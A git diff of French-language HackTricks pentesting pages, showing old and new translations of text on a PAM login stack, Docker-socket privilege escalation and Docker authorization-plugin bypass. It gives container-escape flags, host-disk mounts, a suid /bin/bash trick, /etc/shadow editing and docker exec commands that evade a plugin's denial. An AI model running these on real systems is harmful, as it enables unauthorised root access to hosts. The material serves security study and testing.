3. Le module '**pam_ldap**' **demandera** à l'utilisateur un **mot de passe**, puis vérifiera le répertoire ldap indiqué dans **`/etc/ldap.conf`** pour authentifier l'utilisateur. Si cela échoue, l'opération peut toujours réussir si 'pam_unix' réussit à authentifier l'utilisateur. Si pam_ldap réussit, 'pam_unix' ne sera pas invoqué.
|
||||
4. Le module '**pam_unix**', dans ce cas, **ne demandera pas à l'utilisateur de saisir un mot de passe**. L'argument 'try_first_pass' indiquera au module d'utiliser le mot de passe qui lui a été donné par le module précédent (dans ce cas, pam_ldap). Il essaiera d'authentifier l'utilisateur en utilisant les appels système standard getpw\*. Si pam_unix échoue et que pam_ldap a échoué, l'opération échouera. Si pam_ldap échoue mais que pam_unix réussit, l'opération réussira (ce qui est extrêmement utile dans les cas où root n'est pas dans le répertoire ldap, mais est toujours dans le fichier local /etc/passwd !).
|
||||
1. Le module '**pam\_securetty**' vérifiera son fichier de configuration, **`/etc/securetty`**, et verra si le terminal utilisé pour cette connexion est répertorié dans le fichier. Si **ce n'est pas le cas, les connexions root ne seront pas autorisées**. Si vous essayez de vous connecter en tant que root sur un 'mauvais' terminal, ce module échouera. Puisqu'il est 'requis', il invoquera quand même tous les modules de la pile. Cependant, même si chacun d'eux réussit, la connexion échouera. Il est intéressant de noter que si le module était listé comme 'requis', l'opération se terminerait immédiatement par un échec, sans invoquer aucun des autres modules, quel que soit leur statut.
|
||||
2. Le module '**pam\_env**' **définira les variables d'environnement** en fonction de ce que l'administrateur a configuré dans /etc/security/pam\_env.conf. Sur une configuration par défaut de Redhat 9, Fedora Core 1 et Mandrake 9.2, le fichier de configuration de ce module ne définit en fait aucune variable. Une bonne utilisation de ceci pourrait être de définir automatiquement une variable d'environnement DISPLAY pour un utilisateur se connectant via SSH afin qu'il n'ait pas à la définir lui-même s'il veut renvoyer un 'xterm' vers son bureau à distance (bien que cela puisse être pris en charge automatiquement par OpenSSH).
|
||||
3. Le module '**pam\_ldap**' **invitera** l'utilisateur à saisir un **mot de passe**, puis vérifiera l'annuaire ldap indiqué dans **`/etc/ldap.conf`** pour authentifier l'utilisateur. Si cela échoue, l'opération peut toujours réussir si 'pam\_unix' réussit à authentifier l'utilisateur. Si pam\_ldap réussit, 'pam\_unix' ne sera pas invoqué.
|
||||
4. Le module '**pam\_unix**', dans ce cas, **ne demandera pas à l'utilisateur de saisir un mot de passe**. L'argument 'try\_first\_pass' indiquera au module **d'utiliser le mot de passe qui lui a été donné par le module précédent** (dans ce cas, pam\_ldap). Il essaiera d'authentifier l'utilisateur en utilisant les appels système getpw\* standards. Si pam\_unix échoue, et que pam\_ldap a échoué, l'opération échouera. Si pam\_ldap échoue, mais que pam\_unix réussit, l'opération réussira (ceci est extrêmement utile dans les cas où root n'est pas dans l'annuaire ldap, mais est toujours dans le fichier local /etc/passwd !).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,59 +1,57 @@
|
|||
# Abus de la socket Docker pour l'escalade de privilèges
|
||||
# Abuser du Socket Docker pour l'Élévation de Privilèges
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Il arrive parfois que vous ayez simplement **accès à la socket Docker** et que vous souhaitiez l'utiliser pour **escalader les privilèges**. Certaines actions peuvent être très suspectes et vous voudrez peut-être les éviter, vous trouverez donc ici différents indicateurs qui peuvent être utiles pour escalader les privilèges :
|
||||
Il y a des occasions où vous avez simplement **accès au socket docker** et vous souhaitez l'utiliser pour **élever les privilèges**. Certaines actions peuvent être très suspectes et vous voudrez peut-être les éviter, donc ici vous pouvez trouver différents drapeaux qui peuvent être utiles pour élever les privilèges :
|
||||
|
||||
### Via le montage
|
||||
### Via mount
|
||||
|
||||
Vous pouvez **monter** différentes parties du **système de fichiers** dans un conteneur en cours d'exécution en tant que root et **y accéder**.\
|
||||
Vous pouvez également **abuser d'un montage pour escalader les privilèges** à l'intérieur du conteneur.
|
||||
Vous pouvez **monter** différentes parties du **système de fichiers** dans un conteneur exécuté en tant que root et y **accéder**.\
|
||||
Vous pourriez également **abuser d'un montage pour élever les privilèges** à l'intérieur du conteneur.
|
||||
|
||||
* **`-v /:/host`** -> Montez le système de fichiers de l'hôte dans le conteneur pour que vous puissiez **lire le système de fichiers de l'hôte.**
|
||||
* Si vous voulez **vous sentir comme sur l'hôte** mais être dans le conteneur, vous pouvez désactiver d'autres mécanismes de défense en utilisant des indicateurs tels que :
|
||||
* `--privileged`
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
* `--security-opt seccomp=unconfined`
|
||||
* `-security-opt label:disable`
|
||||
* `--pid=host`
|
||||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Ceci est similaire à la méthode précédente, mais ici nous sommes en train de **monter le disque de l'appareil**. Ensuite, à l'intérieur du conteneur, exécutez `mount /dev/sda1 /mnt` et vous pouvez **accéder** au **système de fichiers de l'hôte** dans `/mnt`
|
||||
* Exécutez `fdisk -l` sur l'hôte pour trouver le périphérique `</dev/sda1>` à monter
|
||||
* **`-v /tmp:/host`** -> Si pour une raison quelconque vous ne pouvez **monter qu'un répertoire** de l'hôte et que vous y avez accès à l'intérieur de l'hôte. Montez-le et créez un **`/bin/bash`** avec **suid** dans le répertoire monté afin que vous puissiez **l'exécuter depuis l'hôte et escalader vers root**.
|
||||
* **`-v /:/host`** -> Montez le système de fichiers de l'hôte dans le conteneur pour pouvoir **lire le système de fichiers de l'hôte.**
|
||||
* Si vous voulez **vous sentir comme si vous étiez sur l'hôte** tout en étant dans le conteneur, vous pourriez désactiver d'autres mécanismes de défense en utilisant des drapeaux comme :
|
||||
* `--privileged`
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
* `--security-opt seccomp=unconfined`
|
||||
* `-security-opt label:disable`
|
||||
* `--pid=host`
|
||||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> C'est similaire à la méthode précédente, mais ici nous **montons le disque du périphérique**. Ensuite, dans le conteneur exécutez `mount /dev/sda1 /mnt` et vous pouvez **accéder** au **système de fichiers de l'hôte** dans `/mnt`
|
||||
* Exécutez `fdisk -l` sur l'hôte pour trouver le périphérique `</dev/sda1>` à monter
|
||||
* **`-v /tmp:/host`** -> Si pour une raison quelconque vous pouvez **juste monter un répertoire** de l'hôte et que vous y avez accès. Montez-le et créez un **`/bin/bash`** avec **suid** dans le répertoire monté afin que vous puissiez **l'exécuter depuis l'hôte et passer à root**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que vous ne pouvez peut-être pas monter le dossier `/tmp` mais vous pouvez monter un **répertoire différent accessible en écriture**. Vous pouvez trouver des répertoires accessibles en écriture en utilisant : `find / -writable -type d 2>/dev/null`
|
||||
Notez que peut-être vous ne pouvez pas monter le dossier `/tmp` mais vous pouvez monter un **dossier inscriptible différent**. Vous pouvez trouver des répertoires inscriptibles en utilisant : `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**Notez que tous les répertoires d'une machine Linux ne prendront pas en charge le bit suid !** Pour vérifier quels répertoires prennent en charge le bit suid, exécutez `mount | grep -v "nosuid"`. Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne prennent pas en charge le bit suid.
|
||||
**Notez que tous les répertoires d'une machine linux ne supporteront pas le bit suid !** Pour vérifier quels répertoires supportent le bit suid, exécutez `mount | grep -v "nosuid"` Par exemple, habituellement `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` et `/var/lib/lxcfs` ne supportent pas le bit suid.
|
||||
|
||||
Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier à partir du conteneur Docker en tant que root afin de **les abuser sur l'hôte** et d'escalader les privilèges (peut-être en modifiant `/etc/shadow`).
|
||||
Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier depuis le conteneur docker en tant que root afin de **les abuser sur l'hôte** et élever les privilèges (peut-être en modifiant `/etc/shadow`)
|
||||
{% endhint %}
|
||||
|
||||
### Évasion du conteneur
|
||||
### S'échapper du conteneur
|
||||
|
||||
* **`--privileged`** -> Avec cet indicateur, vous [supprimez toute l'isolation du conteneur](docker-privileged.md#what-affects). Consultez les techniques pour [s'échapper des conteneurs privilégiés en tant que root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Pour [escalader en abusant des capacités](../linux-capabilities.md), **accordez cette capacité au conteneur** et désactivez d'autres méthodes de protection qui pourraient empêcher l'exploit de fonctionner.
|
||||
* **`--privileged`** -> Avec ce drapeau, vous [supprimez toute l'isolation du conteneur](docker-privileged.md#what-affects). Consultez les techniques pour [s'échapper des conteneurs privilégiés en tant que root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Pour [élever les privilèges en abusant des capacités](../linux-capabilities.md), **accordez cette capacité au conteneur** et désactivez d'autres méthodes de protection qui pourraient empêcher l'exploit de fonctionner.
|
||||
|
||||
### Curl
|
||||
|
||||
Dans cette page, nous avons discuté des moyens d'escalader les privilèges en utilisant des indicateurs Docker, vous pouvez trouver des **moyens d'abuser de ces méthodes en utilisant la commande curl** dans la page :
|
||||
Dans cette page, nous avons discuté des moyens d'élever les privilèges en utilisant des drapeaux docker, vous pouvez trouver **des moyens d'abuser de ces méthodes en utilisant la commande curl** dans la page :
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -61,12 +59,14 @@ Dans cette page, nous avons discuté des moyens d'escalader les privilèges en u
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlo
|
||||
</details>
|
||||
|
|
|
@ -1,83 +1,81 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Le modèle d'**autorisation** par défaut de **Docker** est du type **tout ou rien**. Tout utilisateur ayant la permission d'accéder au démon Docker peut exécuter n'importe quelle commande client Docker. Il en va de même pour les appelants utilisant l'API Engine de Docker pour contacter le démon. Si vous avez besoin d'un **contrôle d'accès plus granulaire**, vous pouvez créer des **plugins d'autorisation** et les ajouter à la configuration de votre démon Docker. À l'aide d'un plugin d'autorisation, un administrateur Docker peut configurer des **politiques d'accès granulaires** pour gérer l'accès au démon Docker.
|
||||
Le modèle d'**autorisation** par défaut de **Docker** est **tout ou rien**. Tout utilisateur ayant la permission d'accéder au démon Docker peut **exécuter n'importe quelle** commande du client Docker. Il en va de même pour les appelants utilisant l'API Engine de Docker pour contacter le démon. Si vous nécessitez un **contrôle d'accès plus poussé**, vous pouvez créer des **plugins d'autorisation** et les ajouter à votre configuration du démon Docker. En utilisant un plugin d'autorisation, un administrateur Docker peut **configurer des politiques d'accès granulaires** pour gérer l'accès au démon Docker.
|
||||
|
||||
# Architecture de base
|
||||
|
||||
Les plugins d'authentification Docker sont des **plugins externes** que vous pouvez utiliser pour **autoriser/refuser** les **actions** demandées au démon Docker en fonction de l'utilisateur qui l'a demandé et de l'action demandée.
|
||||
Les plugins d'authentification Docker sont des **plugins externes** que vous pouvez utiliser pour **autoriser/refuser** les **actions** demandées au démon Docker **en fonction** de l'**utilisateur** qui l'a demandé et de l'**action** **demandée**.
|
||||
|
||||
Lorsqu'une **requête HTTP** est effectuée sur le démon Docker via la CLI ou via l'API Engine, le **sous-système d'authentification** transmet la requête au(x) **plugin(s) d'authentification** installé(s). La requête contient l'utilisateur (appelant) et le contexte de commande. Le **plugin** est responsable de décider s'il faut **autoriser** ou **refuser** la demande.
|
||||
Lorsqu'une **requête HTTP** est faite au **démon** Docker via la CLI ou via l'API Engine, le **sous-système d'authentification** **transmet** la requête au(x) **plugin(s) d'authentification** installé(s). La requête contient l'utilisateur (appelant) et le contexte de la commande. Le **plugin** est responsable de décider s'il faut **autoriser** ou **refuser** la requête.
|
||||
|
||||
Les diagrammes de séquence ci-dessous représentent un flux d'autorisation autorisé et refusé :
|
||||
Les diagrammes de séquence ci-dessous illustrent un flux d'autorisation d'autorisation et de refus :
|
||||
|
||||
![Flux d'autorisation autorisé](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
![Flux d'autorisation Autoriser](https://docs.docker.com/engine/extend/images/authz_allow.png)
|
||||
|
||||
![Flux d'autorisation refusé](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
![Flux d'autorisation Refuser](https://docs.docker.com/engine/extend/images/authz_deny.png)
|
||||
|
||||
Chaque demande envoyée au plugin **inclut l'utilisateur authentifié, les en-têtes HTTP et le corps de la demande/réponse**. Seul le **nom d'utilisateur** et la **méthode d'authentification** utilisée sont transmis au plugin. Plus important encore, **aucune** des **informations d'identification** ou des **jetons d'utilisateur** ne sont transmis. Enfin, **tous les corps de demande/réponse ne sont pas envoyés** au plugin d'autorisation. Seuls les corps de demande/réponse pour lesquels le `Content-Type` est soit `text/*` ou `application/json` sont envoyés.
|
||||
Chaque requête envoyée au plugin **inclut l'utilisateur authentifié, les en-têtes HTTP et le corps de la requête/réponse**. Seuls le **nom d'utilisateur** et la **méthode d'authentification** utilisée sont transmis au plugin. Plus important encore, **aucune** **crédentielle** d'utilisateur ou token n'est transmis. Enfin, **tous les corps de requête/réponse ne sont pas envoyés** au plugin d'autorisation. Seuls ceux dont le `Content-Type` est soit `text/*` soit `application/json` sont envoyés.
|
||||
|
||||
Pour les commandes qui peuvent potentiellement détourner la connexion HTTP (`HTTP Upgrade`), telles que `exec`, le plugin d'autorisation n'est appelé que pour les requêtes HTTP initiales. Une fois que le plugin approuve la commande, l'autorisation n'est pas appliquée au reste du flux. En particulier, les données de streaming ne sont pas transmises aux plugins d'autorisation. Pour les commandes qui renvoient une réponse HTTP fragmentée, telles que `logs` et `events`, seule la requête HTTP est envoyée aux plugins d'autorisation.
|
||||
Pour les commandes qui peuvent potentiellement détourner la connexion HTTP (`HTTP Upgrade`), telles que `exec`, le plugin d'autorisation n'est appelé que pour les requêtes HTTP initiales. Une fois que le plugin approuve la commande, l'autorisation n'est pas appliquée au reste du flux. En particulier, les données en streaming ne sont pas transmises aux plugins d'autorisation. Pour les commandes qui renvoient une réponse HTTP fragmentée, telles que `logs` et `events`, seule la requête HTTP est envoyée aux plugins d'autorisation.
|
||||
|
||||
Pendant le traitement de la demande/réponse, certains flux d'autorisation peuvent nécessiter des requêtes supplémentaires au démon Docker. Pour terminer de tels flux, les plugins peuvent appeler l'API du démon de manière similaire à un utilisateur régulier. Pour permettre ces requêtes supplémentaires, le plugin doit fournir les moyens à un administrateur de configurer des politiques d'authentification et de sécurité appropriées.
|
||||
Pendant le traitement de la requête/réponse, certains flux d'autorisation peuvent nécessiter des requêtes supplémentaires au démon Docker. Pour compléter de tels flux, les plugins peuvent appeler l'API du démon de la même manière qu'un utilisateur régulier. Pour permettre ces requêtes supplémentaires, le plugin doit fournir les moyens pour un administrateur de configurer des politiques d'authentification et de sécurité appropriées.
|
||||
|
||||
## Plusieurs plugins
|
||||
## Plusieurs Plugins
|
||||
|
||||
Vous êtes responsable de **l'enregistrement** de votre **plugin** en tant que partie du **démarrage** du démon Docker. Vous pouvez installer **plusieurs plugins et les chaîner ensemble**. Cette chaîne peut être ordonnée. Chaque demande au démon passe dans l'ordre à travers la chaîne. Seulement lorsque **tous les plugins accordent l'accès** à la ressource, l'accès est accordé.
|
||||
Vous êtes responsable de **l'enregistrement** de votre **plugin** dans le cadre du **démarrage** du démon Docker. Vous pouvez installer **plusieurs plugins et les chaîner ensemble**. Cette chaîne peut être ordonnée. Chaque requête au démon passe dans l'ordre à travers la chaîne. L'accès n'est accordé que lorsque **tous les plugins accordent l'accès** à la ressource.
|
||||
|
||||
# Exemples de plugins
|
||||
# Exemples de Plugins
|
||||
|
||||
## Twistlock AuthZ Broker
|
||||
|
||||
Le plugin [**authz**](https://github.com/twistlock/authz) vous permet de créer un **fichier JSON** simple que le **plugin** va **lire** pour autoriser les demandes. Par conséquent, cela vous donne la possibilité de contrôler très facilement lesquels des points d'API peuvent être atteints par chaque utilisateur.
|
||||
Le plugin [**authz**](https://github.com/twistlock/authz) vous permet de créer un simple fichier **JSON** que le **plugin** lira pour autoriser les requêtes. Par conséquent, il vous donne la possibilité de contrôler très facilement quels points de terminaison de l'API peuvent atteindre chaque utilisateur.
|
||||
|
||||
Voici un exemple qui permet à Alice et Bob de créer de nouveaux conteneurs : `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
Voici un exemple qui permettra à Alice et Bob de créer de nouveaux conteneurs : `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
|
||||
Dans la page [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go), vous pouvez trouver la relation entre l'URL demandée et l'action. Dans la page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go), vous pouvez trouver la relation entre le nom de l'action et l'action.
|
||||
Sur la page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go), vous pouvez trouver la relation entre l'URL demandée et l'action. Sur la page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go), vous pouvez trouver la relation entre le nom de l'action et l'action.
|
||||
|
||||
## Tutoriel de plugin simple
|
||||
## Tutoriel Plugin Simple
|
||||
|
||||
Vous pouvez trouver un **plugin facile à comprendre** avec des informations détaillées sur l'installation et le débogage ici : [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
|
||||
Lisez le fichier `README` et le code `plugin.go` pour comprendre comment cela fonctionne.
|
||||
Lisez le `README` et le code `plugin.go` pour comprendre comment cela fonctionne.
|
||||
|
||||
# Contournement du plugin d'authentification Docker
|
||||
# Contournement du Plugin d'Authentification Docker
|
||||
|
||||
## Énumérer l'accès
|
||||
## Enumérer l'accès
|
||||
|
||||
Les principales choses à vérifier sont **lesquels des points d'extrémité sont autorisés** et **lesquelles des valeurs de HostConfig sont autorisées**.
|
||||
Les principales choses à vérifier sont **quels points de terminaison sont autorisés** et **quelles valeurs de HostConfig sont autorisées**.
|
||||
|
||||
Pour effectuer cette énumération, vous pouvez **utiliser l'outil** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.**
|
||||
Pour effectuer cette énumération, vous pouvez **utiliser l'outil** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
|
||||
|
||||
## `run --privileged` non autorisé
|
||||
## `run --privileged` interdit
|
||||
|
||||
### Privilèges minimums
|
||||
### Privilèges Minimaux
|
||||
```bash
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
```
|
||||
### Exécution d'un conteneur puis obtention d'une session privilégiée
|
||||
|
||||
Dans ce cas, l'administrateur système **a interdit aux utilisateurs de monter des volumes et d'exécuter des conteneurs avec le drapeau `--privileged` ou de donner des capacités supplémentaires au conteneur** :
|
||||
Dans ce cas, le sysadmin **a interdit aux utilisateurs de monter des volumes et d'exécuter des conteneurs avec l'option `--privileged`** ou de donner des capacités supplémentaires au conteneur :
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
See 'docker run --help'.
|
||||
```
|
||||
Cependant, un utilisateur peut **créer un shell à l'intérieur du conteneur en cours d'exécution et lui donner des privilèges supplémentaires**:
|
||||
Cependant, un utilisateur peut **créer un shell à l'intérieur du conteneur en cours d'exécution et lui donner des privilèges supplémentaires** :
|
||||
```bash
|
||||
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
|
||||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||||
|
@ -89,38 +87,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
|
|||
# With --cap-add=SYS_ADMIN
|
||||
